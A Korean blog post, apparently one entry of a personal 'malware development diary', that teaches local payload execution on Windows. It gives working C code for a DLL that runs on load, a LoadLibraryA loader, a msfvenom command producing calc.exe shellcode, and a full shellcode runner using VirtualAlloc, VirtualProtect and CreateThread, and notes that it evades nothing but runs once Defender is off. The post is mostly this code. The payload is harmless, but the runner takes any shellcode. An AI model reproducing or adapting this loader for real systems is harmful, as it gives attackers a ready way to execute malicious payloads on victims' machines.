악성코드와 백신/악성코드 개발일지

[악성코드 개발](10)[local-payload-injection]

황올뱀 2026. 3. 12. 21:43

local-payload excution

LoadLibrary로 dll 띄우기

예시용으로 간단히 messagebox를 띄우는 dll을 만들어보자

#include <stdio.h>
#include <Windows.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "you are cooked", "Excuse me?", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MsgBoxPayload();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

case DLL_PROCESS_ATTACH:를 보면 알 수 있듯, dll이 process에 붙으면 MsgBoxPayload가 실행되는 것을 알 수 있다.

  • 참고) 경량화를 위해 dllmain.c를 제외한 모든 것을 지울 수 있다.
    단, 이때 visual studio 프로젝트 설정에서
    속성 - C/C++ - 미리 컴파일된 헤더 - 사용안함으로 바꿔줘야 한다

 

이렇게 dll을 생성하였으면 이제 .c 파일에서 부를 차예이다.
이때 LoadLibrary를 사용한다.
https://learn.microsoft.com/ko-kr/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("[!] 인수가 누락되었습니다. injecting할 dll을 입력하세요.\n");
        return -1;
    }
    printf("[i] Local process PID: %d에 [%s]를 Injecting...\n", GetCurrentProcessId(), argv[1]);

    printf("[+] Loading dll...");
    if (LoadLibraryA(argv[1]) == NULL) {
        printf("[!] LoadLibraryA error!");
        return -1;
    }
    printf("[+] Done!");

    printf("[#] Press <Enter> To Quit...");
    getchar();

    return 0;
}


현재 내가 작성한 main.c 프로그램이 돌아가는 PID 9056번에 dll이 로드되었고,
dll에선 로드되었을 때 메세지박스를 띄우는 행동이 정의되어 있어 메세지박스가 떴다.


processhacker 상에서도 내가 만든 dll이 보인다.

 

shellcode injection

이제 새 스레드를 생성해서 셸코드를 실행해보자

사용되는 주요 함수

VirtualAlloc: 페이로드 저장용 공간 생성
VirtualProtect: 할당된 메모리를 excute 가능으로 바꾸기
CreateThread: 새 스레드 생성 및 페이로드 실행

페이로드 준비

msfvenom을 통해 calc.exe를 실행하는 페이로드를 만들면

 msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp

(전체 프로세스 종료 대신 스레드만 종료시킴)

전체 코드

이 코드의 원리는 다음과 같다.

  1. 메모리 공간을 할당하고 페이로드를 복사한다.
    왜냐하면 DEP 때문에 .data 영역에 있는 코드는 non-excutable하기 때문...
  2. 페이로드 실행을 위해 메모리를 excutable 하게 만든다.
  3. 새로운 스레드를 만들어 페이로드를 실행한다!
    새로운 스레드를 만들면 매개변수로 넣어준 주소부터
    바이트를 읽어가며 실행해준다!
#include <Windows.h>
#include <stdio.h>

unsigned char buf[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };

int main() {
    SIZE_T shellcodeSize = sizeof(buf);

    printf("[i] injecting shellcode in PID: %d\n", GetCurrentProcessId());

    // 메모리 공간 할당
    printf("[#] Allocating...\n");
    PVOID pShellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[-] failed with error %d\n", GetLastError());
        return -1;
    }
    printf("[+] success! allocated memory at: 0x%p \n", pShellcodeAddress);

    // 할당된 메모리에 페이로드 복사
    printf("[#] Writing Payload...\n");
    memcpy(pShellcodeAddress, buf, shellcodeSize);

    // 메모리 권한 설정
    DWORD dwOldProtection = NULL;
    if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[-] failed with error %d\n", GetLastError());
        return -1;
    }

    // 스레드 만들어서 실행
    printf("[#] press <Enter> to run...\n");
    getchar();

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("[-] failed with error %d\n", GetLastError());
        return -1;
    }

    printf("[#] press <Enter> to Quit...\n");
    getchar();

    return 0;
}

물론 real PC에서 실행하면...


바로 defender에 걸린다...

 


defender를 끈 가상머신에서는 잘 돌아간다!

반응형